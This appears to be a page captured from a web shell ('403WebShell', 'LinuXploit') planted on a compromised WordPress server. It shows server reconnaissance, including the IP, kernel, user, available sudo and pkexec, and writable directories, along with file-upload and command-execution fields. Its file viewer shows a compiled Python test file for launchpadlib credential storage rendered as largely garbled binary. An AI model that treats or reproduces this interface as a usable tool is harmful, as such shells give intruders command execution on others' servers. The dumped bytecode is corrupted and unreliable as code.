Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/launchpadlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/launchpadlib/tests/__pycache__/test_credential_store.cpython-310.pyc
o

Ʋ�a�"�@s�dZddlZddlZddlZddlmZeeureZ	neZ	ddl
mZmZddl
mZmZmZmZGdd�dej�ZGdd	�d	ej�ZGd
d�de�ZGdd
�d
e�ZdS)z'Tests for the credential store classes.�N)�	b64decode)�fake_keyring�InMemoryKeyring)�AccessToken�Credentials�KeyringCredentialStore�UnencryptedFileCredentialStorec@s eZdZdZdd�Zdd�ZdS)�TestAccessTokenz Tests for the AccessToken class.cCs6t�d�}|�d|j�|�d|j�|�|j�dS)Nz;oauth_token_secret=secret%3Dpassword&oauth_token=lock%26key�lock&key�secret=password)r�from_string�assertEqual�key�secret�assertIsNone�context��self�access_token�r�J/usr/lib/python3/dist-packages/launchpadlib/tests/test_credential_store.py�test_from_string/s�z TestAccessToken.test_from_stringcCs8t�d�}|�d|j�|�d|j�|�d|j�dS)NzNoauth_token_secret=secret%3Dpassword&oauth_token=lock%26key&lp.context=firefoxr
rZfirefox)rrr
rrrrrrr�test_from_string_with_context7s�z-TestAccessToken.test_from_string_with_contextN)�__name__�
__module__�__qualname__�__doc__rrrrrrr	,sr	c@�eZdZdd�ZdS)�CredentialStoreTestCasecCstddt|d�d�S)z(Helper method to make a fake credential.zapp namezconsumer_secret:42zaccess_secret:168)Zconsumer_secretr)rr)rZconsumer_keyrrr�make_credentialBs
�z'CredentialStoreTestCase.make_credentialN)rrrrrrrrrA�rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�"TestUnencryptedFileCredentialStorez3Tests for the UnencryptedFileCredentialStore class.cCst��\}|_t|j�|_dS�N)�tempfileZmkstemp�filenamer�store)r�ignorerrr�setUpNsz(TestUnencryptedFileCredentialStore.setUpcCs"tj�|j�rt�|j�dSdSr")�os�path�existsr$�remove�rrrr�tearDownRs�z+TestUnencryptedFileCredentialStore.tearDowncCs<|�d�}|j�|d�|j�d�}|�|jj|jj�dS�N�consumer key�
unique key�rr%�save�loadr
�consumerr�r�
credential�credential2rrr�test_save_and_loadVs
z5TestUnencryptedFileCredentialStore.test_save_and_loadcCs<|�d�}|j�|d�|j�d�}|�|jj|jj�dS)Nr/zsome keyzsome other keyr1r5rrr�test_unique_id_doesnt_matter]s
z?TestUnencryptedFileCredentialStore.test_unique_id_doesnt_mattercCsT|�d�}|�d�}|j�|d�|j�|d�|j�d�}|�|jj|jj�dS)Nr/�
consumer key2zunique key 1zunique key 2r1�r�credential1r7Zloadedrrr�&test_file_only_contains_one_credentiales

zITestUnencryptedFileCredentialStore.test_file_only_contains_one_credentialN)	rrrrr'r-r8r9r=rrrrr!Ksr!c@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�TestKeyringCredentialStorez+Tests for the KeyringCredentialStore class.cCst�|_t�|_dSr")r�keyringrr%r,rrrr'usz TestKeyringCredentialStore.setUpcCsht|j��%|�d�}|j�|d�|j�d�}|�|jj|jj�Wd�dS1s-wYdSr.�	rr?rr%r2r3r
r4rr5rrrr8ys
"�z-TestKeyringCredentialStore.test_save_and_loadcCs�t|j��F|�d�}|j�|d�|�d�}|j�|d�|j�d�}|�|�|�|jj	|jj	�|j�d�}|�|jj	|jj	�Wd�dS1sNwYdS)N�
consumer key1zkey 1r:zkey 2)
rr?rr%r2r3�
assertTruer
r4r)rr<r7Zloaded1Zloaded2rrr�test_lookup_by_unique_key�s


"�z4TestKeyringCredentialStore.test_lookup_by_unique_keycCs�t|j��1|�d�}|j�|d�|�d�}|j�|d�|j�d�}|�|jj|jj�Wd�dS1s9wYdS)NrAzthe only keyr:r@r;rrr�/test_reused_unique_id_overwrites_old_credential�s

"�zJTestKeyringCredentialStore.test_reused_unique_id_overwrites_old_credentialcCsBt|j��|�|j�d��Wd�dS1swYdS)Nzno such key)rr?rr%r3r,rrr�test_bad_unique_id_returns_none�s"�z:TestKeyringCredentialStore.test_bad_unique_id_returns_nonecs�G�fdd�dt����|_t|j��9|�d�}|�|�|j�|d�|j�d�}|�|�|�|j	j
|j	j
�|�|j	j|j	j�Wd�dS1sOwYdS)Nc�eZdZ��fdd�Z�ZS)zWTestKeyringCredentialStore.test_keyring_returns_unicode.<locals>.UnicodeInMemoryKeyringcs*t�|��||�}t|t�r|�d�}|S)Nzutf-8)�super�get_password�
isinstance�unicode_type�encode)r�service�usernameZpassword)�UnicodeInMemoryKeyring�	__class__rrrH�s
�

zdTestKeyringCredentialStore.test_keyring_returns_unicode.<locals>.UnicodeInMemoryKeyring.get_password�rrrrH�
__classcell__r�rN�rOrrN��rNr/r0)rr?rrrBr%r2r3r
r4rrr5rrRr�test_keyring_returns_unicode�s	


�"�z7TestKeyringCredentialStore.test_keyring_returns_unicodecs�G�fdd�dt����|_t|j��/|�d�}|j�|d�|j�d�}|�|jj	|jj	�|�|jj
|jj
�Wd�dS1sEwYdS)NcrF)zXTestKeyringCredentialStore.test_nonencoded_key_handled.<locals>.UnencodedInMemoryKeyringcs"t�|��||�}t|dd��S)N�)rGrHr)rrLrMZpw)�UnencodedInMemoryKeyringrOrrrH�s
�zeTestKeyringCredentialStore.test_nonencoded_key_handled.<locals>.UnencodedInMemoryKeyring.get_passwordrPr�rWrSrrW�rTrWr/r0)rr?rrr%r2r3r
r4rrr5rrXr�test_nonencoded_key_handled�s
�"�z6TestKeyringCredentialStore.test_nonencoded_key_handledcCsvGdd�dt�}|�|_t|j�� |�d�}|j�|d�|j�d�}|�|�Wd�dS1s4wYdS)Nc@r)zWTestKeyringCredentialStore.test_corrupted_key_handled.<locals>.CorruptedInMemoryKeyringcSsdS)NZbadr)rrLrMrrrrH�szdTestKeyringCredentialStore.test_corrupted_key_handled.<locals>.CorruptedInMemoryKeyring.get_passwordN)rrrrHrrrr�CorruptedInMemoryKeyring�r rZr/r0)rr?rrr%r2r3r)rrZr6r7rrr�test_corrupted_key_handled�s
"�z5TestKeyringCredentialStore.test_corrupted_key_handledN)rrrrr'r8rCrDrErUrYr[rrrrr>rsr>)rr(r#Zunittest�base64r�bytes�strZunicoderJZlaunchpadlib.testing.helpersrrZlaunchpadlib.credentialsrrrrZTestCaser	rr!r>rrrr�<module>s
'

Youez - 2016 - github.com/yon3zu
LinuXploit